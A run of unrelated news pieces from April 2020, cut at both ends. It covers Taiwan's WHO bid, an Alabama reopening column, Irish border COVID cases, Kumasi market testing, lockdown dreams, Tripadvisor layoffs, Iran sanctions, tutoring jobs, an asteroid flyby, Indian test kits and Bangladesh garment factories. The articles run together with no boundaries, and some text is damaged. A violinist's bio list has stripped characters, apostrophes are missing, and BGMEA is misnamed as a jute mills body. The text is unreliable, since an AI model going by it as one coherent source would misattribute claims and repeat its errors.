minorities in Syria. - - - Slater reported from New Delhi. Carol Morello in Washington contributed to this report. TAIPEI, April 28 (Reuters) - In a rare teleconference between health ministers, Taiwan has thanked the United States for its support in pushing for the island's participation in the World Health Organization (WHO) amid the coronavirus pandemic and despite China's objections. In turn the United States thanked Taiwan for sharing its medical best practices. Taiwan has limited the coronavirus outbreak to just 429 confirmed cases and six deaths. Taiwan's lack of membership at the WHO, due to China's objections which considers the island merely one of its provinces, has infuriated Taipei, which says its exclusion has created a glaring gap in global fight against coronavirus. In a teleconference late Monday, Taiwan Health Minister Chen Shih-chung thanked U.S. Secretary of Health and Human Services Alex Azar "for the strong support extended by the United States for Taiwan's participation in the WHO", Taiwan's Health Ministry said in a statement. "Minister Chen told Secretary Azar that he hopes the U.S. will continue to support for Taiwan's full participation in the World Health Assembly as observer and WHO meetings, mechanisms, and activities," the statement added. The World Health Assembly is the WHO's decision-making body. Taiwan attended it as an observer from 2009-2016 when Taipei-Beijing relations warmed, but China blocked further participation after the election of Taiwan President Tsai Ing-wen, who China views as a separatist, charges she rejects. Taiwan's Health Ministry said that Azar reaffirmed "the continued and concrete support from the U.S. of expanding Taiwan's participation in the WHO and global health arena". The WHO and China both say Taiwan has been given the access to and information it needs from the body during the pandemic, but Taiwan says that has been limited. Azar, in a tweet, said he had thanked Chen for Taiwan's "efforts to share their best practices and resources with the U.S." "Now, more than ever, global health partnership is crucial and I appreciate Taiwan's contributions." Story continues Direct, public interactions between ministerial-level officials from Taiwan and the United States are unusual as the two do not have official diplomatic ties. The United States, like most countries, only has formal relations with Beijing, though it is Taiwan's strongest backer on the international stage. Earlier this month Taiwan and the United States discussed how to get "closer coordination" between the island and the WHO during the coronavirus outbreak, drawing a rebuke from China for "political manipulation" of the epidemic. U.S. President Donald Trump signed a new law last month requiring increased support for Taiwan's international role. China threatened unspecified retaliation in response. Taiwan has been far more successful than many of its neighbours keeping the virus in check thanks to early and stringent steps to control its spread. (Reporting by Ben Blanchard; Editing by Michael Perry) This is an opinion column. Where are you from? That question can have three answers: Where were you born? Where did you grow up? And where do you live? I live in Alabama. I grew up in Alabama. But I was born in Albany, Georgia, a fact my mom reminded me of often, usually when this state had invented some new kind of stupid. It didnt seem to matter wed moved here before Id learned to walk. Remember, son, youre from Georgia, shed say. But not today. Today, I can say it proudly. Im from Alabama. I have to confess something. Its a lot harder writing a column about a public official doing something right than someone screwing up on the job. So before I get to the suddenly superb Gov. Kay Ivey, lets take a moment to look next door, at the goofball governor of Georgia, Brian Kemp. Last week Kemp lifted his stay-at-home order, allowing businesses to open their doors with some restrictions. Barbershops and salons, gyms and bowling alleys all of it. Kemp lifted his order despite deadly clusters of coronavirus. Of the 20 counties in the country with the highest per capita infections, five are in southwest Georgia, including Dougherty County. Where Im from. Why Kemp decided to lead this charge is pretty clear. When President Trump thought it would be funny to antagonize Democratic governors by Tweeting Liberate (fill in the blue state)! Kemp saw it as an opportunity to be a Trumpian flag-bearer. It was only after protesters began storming red state capitols, too, that the White House began tamping down the bravado and refilling its prescriptions for caution. The president rebuked the Georgia governor for moving too quickly, too soon. But it was too late for Kemp. He stayed his course. Full speed ahead and coronavirus be damned or more likely, be damned with coronavirus. A week after Kemp committed his state to play dice with the disease, Alabamas governor announced her states first steps toward reopening businesses and slowly loosening state restrictions. Those early steps include reopening small business retail and allowing elective medical procedures, with modest restrictions. Alabamas beaches will reopen, too, although beachgoers will have to sun themselves six-feet apart. Social gatherings of more than 10 people would still be prohibited, and close-contact businesses, such as hair salons and tattoo parlors, would remain closed. Restaurants and bars could still have takeout and curbside service only. "Reopening Alabama's economy is not as simple as flipping a switch or snapping your fingers, Ivey said while accepting that many would not be happy with her decision. When asked whether she had consulted with neighboring governors, Ivey said she had not spoken with them about her plan, but only with state public health experts and the task forces she had appointed to advise her. "Alabama developed, Alabama prepared, she said of her plan. In two weeks, the state will re-evaluate where it stands and consider loosening restrictions further. Alabama has never been a progressive state. Historically, it has adopted policies and stolen ideas from its more proactive neighbors. Not a legislative session goes by when a lawmaker doesnt point to Georgia and ask Why cant we just do that? But for once, Alabama may truly benefit from letting its neighbor to the east go first. And for once Alabama has something that state doesnt a leader who makes decisions driven by data, expertise, prudence and safety. For maybe the first time in my life if only for today Alabama has the better governor. Alabama where Im from. Kyle Whitmire is the state political columnist for the Alabama Media Group. You can follow his work on his Facebook page, The War on Dumb. And on Twitter. And on Instagram. More columns by Kyle Whitmire The John Merrill Show is on again. Somebody change the channel. Mo Brooks spouts nonsense, Ivey finds her nerve A love letter for the Post Office The time to expand Medicaid is now. When will Alabama? How about never? Finding meaning in the ruins of coronavirus and Legos This is the most dangerous election. And the most important. Alabamas governor went on Twitter for a coronavirus Q&A. It was a disaster. Alabama is stuck on autopilot What Ill take from the quarantine: My daughters first steps Stop with the California comparisons, Kay Ivey Lieutenant governor demands Alabama coronavirus task force do its job If Alabama has to go back to work, so should the Legislature In grief for normal life The truth will tell itself Handout photo issued by Press Eye of Chief Medical Officer Michael McBride speaking during the daily media broadcast at Parliament Buildings in Stormont, Belfast. Northern Irelands chief medical officer has said there is no evidence to suggest there has been a leakage of the Covid-19 infection across the border. Dr Michael McBride was responding to data showing a relatively high prevalence of the disease in a number of border counties in the Irish Republic compared to other rural areas in the state. I dont think that relates to spill over across the border one way or the other, Dr McBride told Stormonts Covid-19 briefing on Tuesday. Outlining his reasoning, Dr McBride said the public across the island had been adhering to social distancing rules and the spread of the epidemic had been broadly similar in both jurisdictions. So I dont believe that there is leakage of infection across the border for those reasons, theres absolutely no evidence to suggest that, he said. A regional breakdown of cases earlier this week showed 626 cases of Covid-19 in Co Cavan and 373 in Co Monaghan. Co Cavan had the highest incidence rate of Covid-19 in the Republic of Ireland per 100,000 of the population, followed by Dublin and Monaghan. Irelands chief medical officer Dr Tony Holohan has already said he does not think that relatively high incidences of the virus in several Irish border counties was linked to people with the infection travelling in from Northern Ireland. Expand Close Dr Colm Henry said several factors were behind the high infection rate in Co Cavan (Niall Carson/PA) PA / Facebook Twitter Email Whatsapp Dr Colm Henry said several factors were behind the high infection rate in Co Cavan (Niall Carson/PA) On Tuesday evening, Dr Colm Henry, chief clinical officer at the HSE, said a number of factors could be responsible for the high incidence rate in Co Cavan. He said there had been an outbreak in a hospital in the area and some other outbreaks in residential care facilities and congregated settings. There were certain outbreaks there that led to much bigger numbers and a bigger impact on what is smaller populated county, he told the daily Covid-19 briefing. It doesnt appear to be directly related to the fact that it is a border county. Earlier on Tuesday, a leading epidemiologist said the high number of cases of Covid-19 in the border region may be due to a super spreader. Expand Close Dr Gabriel Scally said a super spreader could be responsible for the high infection rates in Cavan and Monaghan (Niall Carson/PA) PA / Facebook Twitter Email Whatsapp Dr Gabriel Scally said a super spreader could be responsible for the high infection rates in Cavan and Monaghan (Niall Carson/PA) President of the Epidemiology and Public Health section of the Royal Society of Medicine, Dr Gabriel Scally told RTE radio there could be a super spreader in the border region but this could not be confirmed until investigations and comprehensive contact tracing are carried out. What we have seen from the outbreaks elsewhere and in other countries is that you can get super spreaders, he said. These are people who may not have all of the symptoms and may not be terribly ill but spread the virus with a very heavy virus load. If you get one or two of these people, they can affect a lot of people in a local area so maybe there is a super spreader around that could be one of the reasons. Whatever the reasons, I think it deserves a bit of attention and a bit of investigation and it certainly deserves discussion in a North South forum because I and other people have been saying there is no way out of this without an all island approach. That is what we have got to aim for. A memorandum of understanding between the departments of health in the Republic and Northern Ireland was signed on April 7 but some differences remain. Citizens in the Republic are required to restrict their movements to within 2km of home but this does not apply to citizens living in Northern Ireland who cross the border. Traders at PZ, a popular trading place in the centre of Kumasi, have been ordered for a mandatory testing for Covid-19. This follows a strict instruction from the Kumasi Mayor, Osei Assibey Antwi, to get all the traders tested immediately for the deadly virus. The Chief Executive of the Kumasi Metropolitan Assembly (KMA) toured Adum, the city centre, to check if residents were behaving well by following social distancing and health safety protocols. To his chagrin, Mr Antwi realized that the traders were not adhering to the social distancing protocols to help stop the spread of the deadly virus. Incensed about the behaviour of the traders on Thursday afternoon, the Kumasi Mayor instantly ordered for the closure of the PZ market. He then ordered for mandatory testing of all the traders at PZ in order to be sure none of them was infected by the dangerous virus. Mr. Antwi disclosed that about 300 traders availed themselves for testing at the Kumasi Children's Hospital during the first two days after his order. The Kumasi Mayor stated that the results of the tests were not in yet, adding that all other traders in the PZ area would be mandatorily tested for the virus. Mr Antwi also took the opportunity to admonish residents of Kumasi to always wear face masks for protection whenever they stepped out of their homes. ---Daily Guide The introduction of a nationwide lockdown on 23 March has drastically changed our everyday lives in a variety of ways. For some people, having to work from home or being unable to work at all will change what time they wake up in the morning, in addition to the quantity and quality of their sleep at night. Others have expressed feeling especially groggy, which may be caused by reduced exposure to sunlight or excessive amounts of sleep. Another phenomenon that has occurred has been the widespread experiencing of vivid dreams, a happening that has been referred to as quarandreams on social media. Is anybody else having really weird/vivid dreams during this whole lockdown or is it just me? one person wrote in a tweet that has garnered 4,600 likes. Someone else tweeted that their regular vivid dreams appear so realistic that they often wake up feeling so exhausted. Many people are likely to have noticed changes to their sleep patterns recently, not just as a direct result of the stress generated by the Covid-19 pandemic but also by the adjustments to their lives that have ensued, says Dr Natasha Bijlani, consultant psychiatrist at Priory Hospital Roehampton. So why is lockdown causing us to quarandream, and should we be worried about it? Why are so many people experiencing more vivid dreams than usual? Vivid dreams can occur for a number of reasons, The Sleep Council explains. These causes include sleep deprivation, a fluctuation in hormones and stress. Therefore, given the significant emotional toll of the coronavirus pandemic, it should perhaps not be surprising that many people are reporting having increasingly vivid dreams. When you go to sleep, your brain carries out actions including processing the days information, consolidating memory and regulating your emotions, explains Professor Colin Espie, professor of Sleep Medicine at the University of Oxford. Your dreams are a window into the fact that the brain is busy processing emotion, he states, which is why it is likely dreams will appear more vivid when you are in a heightened emotional state. What youll probably notice in your dreams just now is theyre a little bit more vivid and probably more emotional in tone. That just reflects the way that we are at the moment, Professor Espie says. Coronavirus culture from rooftops, windows and balconies Show all 15 1 /15 Coronavirus culture from rooftops, windows and balconies Coronavirus culture from rooftops, windows and balconies A rose is delivered by drone to a woman on Mother's Day in Jounieh, Lebanon AFP/Getty Coronavirus culture from rooftops, windows and balconies Women dance on their balcony as a radio station plays music for a flash mob to raise spirits in Rome Reuters Coronavirus culture from rooftops, windows and balconies A skeleton stands on a balcony in Frankfurt, Germany AP Coronavirus culture from rooftops, windows and balconies The film Le ragazze di Piazza di Spagna is projected on a building in Rome AP Coronavirus culture from rooftops, windows and balconies A woman uses a basket tied to a rope to pull a delivery of groceries up to her balcony in Naples, Italy EPA Coronavirus culture from rooftops, windows and balconies DJ Francesco Cellini plays for his neighbours from the rooftop terrace of his flat block in Rome Reuters Coronavirus culture from rooftops, windows and balconies A woman gestures from her balcony in Barcelona EPA Coronavirus culture from rooftops, windows and balconies Cellist Karina Nunez performs for her neighbours at the balcony of her flat in Panama City Reuters Coronavirus culture from rooftops, windows and balconies DJ Nash Petrovic live streams a set from his roof in Brooklyn Reuters Coronavirus culture from rooftops, windows and balconies People applaud medical workers from their balconies in Modiin, Israel Reuters Coronavirus culture from rooftops, windows and balconies A Brooklyn resident relaxes in a hammock hung on their balcony Reuters Coronavirus culture from rooftops, windows and balconies Residents toast during a "safe distance" aperitif time between neighbours in Anderlecht, Belgium Reuters Coronavirus culture from rooftops, windows and balconies Musician Adam Moser plays for neighbours from his balcony in Budapest, Hungary Reuters Coronavirus culture from rooftops, windows and balconies A man and his son on their balcony in Brooklyn Reuters Coronavirus culture from rooftops, windows and balconies A man sits alone on a roof terrace in Rome Reuters One thing that is difficult for us to manage as human beings includes uncertainty, therefore, thats the kind of emotion that is a part of the reality for us right now. Dr William Van Gordon, associate professor of contemplative psychology at the University of Derby, explains that there is a connection between our state of mind during the day and our state of mind when asleep, including the amount of time we spend dreaming and the intensity of our dreams. Therefore, an abrupt change to the way we normally live our lives, such as that caused by the current lockdown restrictions, will inevitably impact on our sleep patterns or sleep architecture, he adds. Dr Van Gordon adds that a higher frequency of vivid dreams where the dream experience is unsettling or negative could be a sign of stress, anxiety or uncertainty. Another reason why you may be experiencing a greater quantity of vivid dreams than usual is due to the manner in which you are waking up. Although you have around four to five dreams every night, youll only be able to remember a dream later on if you wake up during the dream, outlines sleep expert Dr Neil Stanley. We dream during REM [rapid eye movement] sleep, Dr Stanley says. If our sleep is disturbed, as it may be at the moment due to anxiety and worry, then we may remember them in more detail than normal. So, if you wake up due to a spike of anxiety in the middle of a vivid dream, you may be more likely to remember it than if you were jolted awake by an alarm clock. And according to research conducted by Opinium on behalf of 23andMe of 1,251 working adults in April 2020, a third of Britons are no longer setting an alarm to wake up. Why you shouldnt be worried about having vivid dreams Although you may be concerned by vivid dreams if you are not used to experiencing them, they are not something you should be worrying about, Professor Espie says. Its just part of us, its part of this situation and its not something people should be anxious about, he states. Its not something people need to fret about, its not something people should be looking into in detail. The purpose of sleep is to deliver good quality daytime alertness so were able to manage and cope. How coronavirus lockdowns changed the world's most polluted cities Show all 6 1 /6 How coronavirus lockdowns changed the world's most polluted cities How coronavirus lockdowns changed the world's most polluted cities Milan, Italy REUTERS How coronavirus lockdowns changed the world's most polluted cities North Jakarta, Indonesia REUTERS How coronavirus lockdowns changed the world's most polluted cities Jakarta, Indonesia REUTERS How coronavirus lockdowns changed the world's most polluted cities Venice, Italy REUTERS How coronavirus lockdowns changed the world's most polluted cities New Delhi, India REUTERS How coronavirus lockdowns changed the world's most polluted cities Islamabad, Pakistan REUTERS Therefore, Professor Espie states, you should instead try to feel reassured that your sleep is doing its job, rather than thinking you need to stop vivid dreams from occurring. The sleep expert acknowledged that these vivid dreams may sometimes take on a nightmarish quality, as they are reflecting a feeling that people are having at the moment of feeling a bit trapped, uncertain and wondering whats going to happen. What can people do to ease their minds about their sleep? As you are more likely to remember vivid dreams if you wake up spontaneously, waking up at a regular time every day may reduce your likelihood of remembering your dreams in the morning. Recommended People are getting more but worse sleep during lockdown However, it is important to work out what sleep pattern works specifically for you, Professor Espie says. He also advises trying to put the day to rest when you go to bed and doing as much problem solving as you can before you hit the hay. Dr Bijlani recommends making efforts to reduce anxiety by following simple, basic sleep hygiene strategies, including maintaining a regular sleep-wake routine on weekdays and weekends, avoiding the temptation to press the snooze button, making your bedroom a comfortable environment and staying hydrated throughout the day. Dr Van Gordon also suggests partaking in mindful breathing before you go to bed and staying physically active throughout the day. Amid the continued economic fallout of coronavirus, Massachusetts-based Tripadvisor says its planning to lay off more than 900 of its employees and close down its Boston and San Fransisco office buildings, the company announced on Tuesday. That reduction represents roughly one-fourth of Tripadvisors workforce. The companys CEO and co-founder Steve Kaufer said the viruss impact on the travel industry had been slowly revealing itself day-by-by. He said the company pulled every lever we could in order to preserve as many jobs as possible. The pandemic has had an impact on the economy that no one expected," Kaufer, who is forfeiting his salary for the rest of 2020, said. "Our personal and professional lives have changed in profound ways. Kaufer said those leaving the company will be offered transition packages, including severance pay and outplacement support." The company also plans to move all salaried employees to a 4 day work week reduce their salaries by 20% for three months starting in June. Related Content: Veteran British MP Tony Lloyd has stepped down from the front bench to focus on his recovery from coronavirus, the party has announced. The Labour Party MP had served as shadow Northern Ireland secretary for two years but will now be replaced by shadow policing minister Louise Haigh, who had been covering in his absence. Coming forward to help a noble cause, employees of the Reserve Bank of India (RBI) have donated a total of Rs 7.30 crore to the PM-CARES Fund, an official said here on Tuesday. The Covid-19 pandemic and consequent dislocation in normal economic activities have severely affected the weaker sections of society and their means of livelihood. In order to help people affected by any emergency or distress situation like Covid-19, the government set up the PM-CARES Fund (Prime Minister's Citizen Assistance and Relief in Emergency Situations Fund) for contributions from various sources. Responding to the call, the RBI employees decided to contribute money equal to one-day salary or more, totalling Rs 7.30 crore, said the official. US May Be Prepared To Rethink Stance On Sanctions, Nuclear Accord with Tehran Radio Farda April 27, 2020 Reports in international media on Sunday indicated that the United States is likely to re-think the sanctions on Iran as well as its stance on the nuclear deal with Tehran, which it abandoned in May 2018. In an April 26 article, the MSN wrote that U.S. "Secretary of State Mike Pompeo is preparing a legal argument that the United States remains a participant in the Iran nuclear accord that President Trump has renounced." According to the MSN, the initiative is "part of an intricate strategy to pressure the United Nations Security Council to extend an arms embargo on Tehran or see far more stringent sanctions re-imposed on the country." Based on the nuclear accord with Tehran, Iran is entitled to buy or sell weapons after October 2020. However, reporters in Washington say that the Trump Administration officials have been lobbying at the UN Security Council to pass a new resolution that would bar other countries from selling weapons to Iran after October. Meanwhile, Iranian social media users noted that the snapback mechanism in the nuclear deal JCPOA [Joint Comprehensive Plan of Action] gives the right to its signatories to call for restoring UN sanctions if Tehran violates the accord. This is what the U.S. could do if it were still a member of the JCPO after it criticized Iran for launching a military satellite into orbit last week. An early Monday Fox News report said that in a bid to restore UN sanctions against Tehran, Pompeo was preparing a legal argument to prove that the U.S. is still a "participant" in the Iran nuclear deal. "This plan would give the U.S. standing at the United Nations Security Council to push to extend the arms embargo on Iran expiring in October and restore sanctions for Iran's violations of the deal. The State Department has been considering this strategy to restore U.N. sanctions on Iran that were in place for months before the deal came into effect," Fox News Said . Meanwhile, the New York Times quoted Pompeo as having said that the United States " cannot allow the Islamic Republic of Iran to purchase conventional weapons in six months. President Obama should never have agreed to end the U.N. arms embargo," adding that the United States is prepared "to exercise all of its diplomatic options to ensure the arms embargo stays in place at the U.N. Security Council." Except Foreign Minister Zarif, Iranian media and officials have not been observed to react to these reports yet. Reminding what US officials said when leaving the JCPOA, Zarif wrote in a tweet: "Stop dreaming. Iranian nation always decides its destiny." However, Iranian officials including Supreme Leader Khamenei and President Rouhani have always demanded the United States' return to the 2015 nuclear accord before any negotiations between Tehran and Washington on other matters. A usually well-informed Iran analyst in Scotland, Reza Taghizadeh, opined in a tweet on Monday that "With the pretext of extending the arms embargo against Iran, the United States is thinking of returning to the nuclear accord and making compromise with the Khamenei-Rouhani gang!" He also said that "go-betweens are secretly working" behind the scene. Another avid observer of Iran-US relations, BBC reporter Bahman Kalbasi, reminded in a tweet that in 2018 when leaving the nuclear accord, the United States said that it was "ceasing participation in the JCPOA." Nevertheless, there does not seem to be any obstacle that would stop the U.S. from returning to the JCPOA as a "signatory" or as a "participant," although it is not yet clear if Washington's return to the deal would also entail the lifting of sanctions on Tehran. However, considering their welcoming reaction when the U.S. left the deal in 2018, Iran's regional rivals such as Israel and Saudi Arabia may not welcome such a return even if it coincides with Iran's difficult situation in the COVID-19 epidemic. Source: https://en.radiofarda.com/a/us-may-be-prepared -to-rethink-stance-on-sanctions-nuclear- accord-with-tehran/30579409.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Schools in 17 states and two U.S. territories have closed to slow the spread of COVID-19. That leaves at least 55.1 million students in the country without a classroom, according to Education Week. Many school districts, which faced last-minute school closures, sent kids home with minimal direction to occupy what is likely to be the remainder of the school year at home. Parents with no homeschooling experience are turning to online learning platforms to fill the gap. Then, of course, the long summer months will need to be filled with ... something. All this could mean an opportunity for you to make money from home while social distancing. Here are some learning platforms for all kinds of subjects that are seeking teachers for online teaching and tutoring during the coronavirus crisis and beyond. 3 Sites to Become a Tutor These online education platforms are actively seeking tutors and teachers to meet increased distance-learning needs because of coronavirus-related school closures. 1. Outschool Outschool is a learning platform that lets you host live online classes in any subject for kids ages 3 to 18. "As the reality of 'sheltering in place' spreads across the country and the majority of schools across the nations close, parents are cooped up at home with kids with little to do," a rep for the company told The Penny Hoarder. "Unemployment is beginning to skyrocket, while Outschool is desperate to hire more teachers for its online classes ASAP." You'll create a listing for your class and set the price. Learners on the platform can sign up and attend classes through live video and messaging, and Outschool keeps a 30% fee from enrollments. The company told The Penny Hoarder that teachers can earn between $40 and $100 per hour. You don't have to have formal teaching credentials. You just have to pass a background check and must be a citizen or resident of the United States, Canada, Australia, New Zealand or the United Kingdom. The company said homeschooling classes are filling up fast, and they're seeking teachers and tutors, experts and personal trainers to teach subjects such as art, yoga, baking, math, science, English, Spanish and social studies. Thanks to a slew of donations, Outschool is offering up to $200 in free classes per family for public school students affected by school closures. It's looking for 5,000 teachers to start teaching ASAP, according to a blog post from March 15. 2. TakeLessons TakeLessons lets you create a free profile to teach skills like music, art, language, acting or dance. Students can find you and book live online (or local) lessons through the platform. You can set your rates, and the platform handles booking and payment for you. Popular subjects for online classes include singing, various musical instruments, language lessons, acting, dance and drawing. Susanna Sonnenberg, a violist for the Pittsburgh Civic Orchestra, has been teaching violin, viola and cello for 25 years. She's been offering online classes through TakeLessons since October 2015 and went full time after accumulating 50 students in her first six months. Now she averages about $8,000 per month in income from music lessons and recommends TakeLessons over several other platforms she's tried. "I like being able to have students all over the United States and internationally," Sonnenberg says. "I have a wide age range of students and playing experience, so I have a lot of variety in my teaching." 3. Varsity Tutors Varsity Tutors facilitates online learning through live online classes, practice tests and study resources. To become a tutor, apply through an online application, go through a phone or video interview and conduct mock tutoring sessions. Varsity Tutors helps you connect with clients and teach classes live online or locally. The company doesn't list tutor requirements publicly, but it does let learners know it looks for these qualities in tutors: Exceptional teaching and communication skills and friendly demeanor. Prior teaching or mentoring experience. Expert-level knowledge of the subject you'll teach. Ability to develop individualized curriculum. History of academic excellence. "The platform is experiencing unprecedented demand, as students -- especially kindergarten through fifth grade, who have historically been less receptive toward online learning -- work to stay on track during closures," Brian Galvin, Chief Academic Officer for Varsity Tutors, said in a statement. In the wake of school closures due to COVID-19, Varsity Tutors is also offering free Virtual School Day classes for K-12 students in a variety of subjects. 3 Places to Teach English Online This could be a good time to take on work teaching English to non-native speakers around the world. Companies facilitate online learning, and some sites let you teach classes with no prior teaching experience or credentials. 1. VIPKid One of the most well-known companies for teaching English online, VIPKid lets you teach one-on-one or group lessons to Chinese grade-schoolers. You'll set up blocks of time you want to teach and design your own lessons, and students can join the timeframe and teacher they prefer throughout the day. You can earn between $14 and $22 per hour, based on how often you teach. You don't need to know Mandarin to teach these students, but VIPKid requires: A bachelor's degree. At least one year of teaching experience. High-speed internet. The ability to pass a background check. Jennifer Ross, a VIPKid teacher The Penny Hoarder spoke with in 2018, was writing and working toward a master's degree while earning more than $520 per week on the platform. "There's nothing like being able to pass the joy I have for reading, writing, and learning or playing guitar on to a kid," the former public school teacher said. To become a teacher, you'll fill out an online application, have an interview and conduct mock teaching sessions. 2. Cambly Cambly is one of the most flexible platforms for online English classes. It doesn't require a degree or prior experience, and you don't have to go through an onboarding process. You'll just create a tutor profile, where students -- adults and children -- can find you and book lessons. Pay is 17 cents per minute, and you can teach sessions of any length as much or little as you like. An hour-long session would land you $10.20 per hour. To qualify to teach through Cambly, you just need a native level of English fluency, a computer with a webcam and high-speed internet. 3. Boxfish More than 5 million Chinese students use Boxfish to learn English. Boxfish provides course materials and lets you teach scheduled or on-demand classes with one to four students. Pay on the platform is $10 per 25-minute session -- so up to $20 per hour. You can teach through a computer, laptop or smartphone as long as you have a high-speed internet connection. To qualify as a Boxfish teacher, you must have grown up in an English-speaking country -- preferably the U.S., Australia, the U.K. or Canada -- and have a bachelor's degree. An English teaching certificate isn't required, but it's a bonus. Keep Up with the Ins and Outs of Military Life For the latest military news and tips on military family benefits and more, subscribe to Military.com and have the information you need delivered directly to your inbox. An asteroid named 1998 OR2, is expected to pass by Earth on April 29 at a distance of 6.2 million kilometres away from the planet. The asteroid has been classified as a Potentially Hazardous Object (PHO) but will harmlessly fly by the earth on April 29 according to the Arecibo Observatory in Puerto Rico. Scientists have joked that the latest image of the asteroid looks like it is wearing a mask due to dust and debris passing around it. The observatory had initially observed the asteroid on April 13 and had continued to follow it till April 23, at which point the asteroid was no longer visible from the facility. Arecibo has confirmed that the asteroid is at least 2 km in diameter and rotates once every 4.1 hours. The closest that the asteroid will ever come to the earth would still be more than sixteen times the distance between the moon and Earth. Any asteroid that is bigger than 140 meters and comes within 8 million kilometres of Earth orbit is classified as a Potentially Hazardous Object (PHO). According to the daily, no known PHO poses an immediate danger to earth but scientists always keep an eye out for them. "The radar measurements allow us to know more precisely where the asteroid will be in the future, including its future close approaches to Earth," Flaviane Venditti, a research scientist at the Arecibo Observatory said. "In 2079, asteroid 1998 OR2 will pass Earth about 3.5 times closer than it will this year, so it is important to know its orbit precisely," she added. Commenting on the structure of the asteroid Venditti said, "The small-scale topographic features such as hills and ridges on one end of asteroid 1998 OR2 are fascinating scientifically." Also Read: Coronavirus India Live Updates: Delhi-Haryana border sealed; lockdown relaxed: country's COVID-19 cases-29,435 Also Read: Coronavirus crisis: China fumes over ICMR clampdown on 'faulty' rapid testing kits, calls it 'unfair' 1. Lynn Chang (Chinese: ; pinyin: Zhang Wanjun) (born 1953) is a Chinese American violinist known for his work as both a soloist and a chamber musician. Chang is a founding member of the Boston Chamber Music Society and is currently a faculty member at MIT, Boston University, the Boston Conservatory, and the New England Conservatory of Music.[1] https://en.wikipedia.org/wiki/Lynn_Chang? 2. My mission is to train violinists to become musicians for the 21st century and to teach them how to perfect their craft, become better communicators, become advocates for their art, and become citizen-musicians. https://bostonconservatory.berklee.edu/directory/lynn-chang 3. In 2001, Mr. Chang was honored with the first Distinguished Leadership Award from the Institute for Asian American Studies of the University of Massachusetts Boston for his achievements as educator and musician. A father of two, he lives in Boston with his wife, pediatrician and arts education advocate Dr. Lisa Wong. https://www.heifetzinstitute.org/program-2/faculty/2019-violin-faculty/lynn-chang/ 4. a. Hemenway Strings with Yo-Yo Ma and Lynn Chang at The Boston Conservatory b. In 2011, Lynn Chang celebrated his longtime friend Yo-Yo Ma at the Kennedy Center Honors. Onstage with Emanuel Ax, Pamela Frank, and even Elmo, Chang delighted luminaries from actress Meryl Streep to President Barack Obama. 040 c. 201012 Edward Elgar 5. 2020 https://www.amacad.org/new-members-2020 Local manufacturers of antibody based rapid testing kits (RTKs) for the coronavirus disease (Covid-19), whose kits were validated by the Indian Council of Medical Research (ICMR) and approved by the Central Drugs Standard Organisation (CDSCO), seem to be grappling with a sense of uncertainty as they are yet to receive any orders from the ICMR. To make matters worse, on Monday, ICMR asked states to return RTKs sourced from China after its field assessment found them to be showing too much variation in results -- and while doing so, did not say anything at all about its future plans regarding RTKs. To be sure, some states had been directly trying to source RTKs, including from some domestic manufacturers. CDSCO has approved RTKs made by six local companies. Antibody tests are done using a persons blood, and results are available in 30 minutes to an hour as opposed to the RT-PCR (Reverse Transcriptase Polymerase Chain Reaction) tests that take about five hours. Still, the latter are the gold standard for diagnosis of Covid-19; the antibody tests are largely used to measure prevalence of a disease, according to experts. ICMR , on April 11, invited a techno-commercial offer for procurement of 4.5 million RTKs, with a tight deadline. However, even those who were not rejected by the council are yet to hear from it. We applied for the tender, and even though our bid wasnt rejected, we are yet to hear from them. It is a little confusing. They havent placed orders yet. The states somehow seem more proactive in their approach, and we are also getting several export queries, says Prateek Mittal, director, marketing, Medsource Ozone Biomedicals Pvt Ltd. This uncertainty will be counterproductive to cost efficiency. The cost can come down at even half the volumes given to the Chinese, he added. ICMR placed an order for 550,000 RTKs with two Chinese companies; these are the kits it has now asked states to return. Medsource is approved by both ICMR and CDSCO to manufacture rapid tests kits, and has started production; its peak capacity is 115,000 kits in a day. We can ramp up but since there is no clarity on procurement right now we dont want to do that just yet. In these difficult times we are making investments but this uncertainty is quite challenging, said Mittal. Gurugram-based SD Bio Sensor, another company with requisite approvals, is also waiting to hear from the research body as the manufacturers say their first priority is to produce for ICMR. ICMR has taken samples of our kits for further testing, and we are waiting to hear from them. We are sure though that our sample will pass the test as our company has already been exporting kits to US/UK etc. About 80% of the manufacturing already happens in South Korea and we just finish the product here, said Punit Kumar, deputy manager, regulatory affairs. The company can make 100,000 RTKs a day and can scale it up to double the quantity. We have about 300,000 kits already in our warehouse, and even Haryana procured about 25,000 of our rapid testing kits. Lets see what ICMR says, he added. Even the government-owned HLL Lifecare is yet to receive an order from ICMR. We have 2 lakh rapid test kits ready, and can produce one lakh kits in a week, said an official at the company who asked not to be identified. Surat (Gujarat) based Voxtur Bio Ltd, another approved company, has begun production with a capacity of manufacturing 10 million kits in a month. Two of the six companies, Vanguard Diagnostics and ImmunoScience India, are still in the process of beginning production. We did not apply for the ICMR tender because of the strict timeline for deliver, said Atul Tarde, CEO, ImmunoScience India. The tender is open for all, and those who qualify will get an equal opportunity, said Dr Rajnikant Srivastava, the spokesperson for ICMR. Experts believe it makes sense to encourage local manufacturing. Stop relying on China; we should encourage Indian manufacturers, said Dr T Jacob John, former head of the department of virology at Christian Medical College, Vellore. SHARE THIS ARTICLE ON Hundreds of garment factories in Bangladesh employing thousands of workers have resumed working amid a nationwide lockdown as the crippled sector sought to stem losses, endangering the drive to curb the spread of the deadly virus. Operations resume despite lockdown Factories in the capital Dhaka and the port city of Chittagong reopened on Monday after being permitted to resume work. The country's garment factories had closed in late March but under pressure from retailers to fulfil outstanding export orders, many resumed their operations, despite a nationwide lockdown in place until May 5, ANI reported. The mills in the country were closed on March 26 but the factories are calling back workers living close to the units. Garment forms 80% of the country's total annual exports, and the country is expected to lose export revenue of about USD 6 billion this fiscal year as the sector has been hit by cancellations from some of the world's largest brands and retailers. More than four million people work in thousands of garment factories across Bangladesh, which last year shipped apparel worth USD 35 billion to some of the world's leading retailers, such as H&M, Inditex and Walmart. A segment of the garment factories affiliated with the Readymade Garment Industry (RMG) entrepreneurs' lobbies resumed operations on a limited scale, bdnews reported. The Bangladesh Jute Mills Corporation (BGMEA) has set a 30% attendance target for the factories opening on Sunday while the Bangladesh Knitwear Manufacturers and Exporters Association (BKMEA) asked its members to open knitting, dyeing and sample sections, which will also require at least 30% attendance. 'Everything is being done slowly' Asked about the number of factories that reopened on Sunday, BGMEA Vice President Faisal Samad told bdnews24.com, "We are not doing anything in a hurry; everything is being done slowly. On the first day, about two hundred factories in and around Dhaka have made preparations to restart work 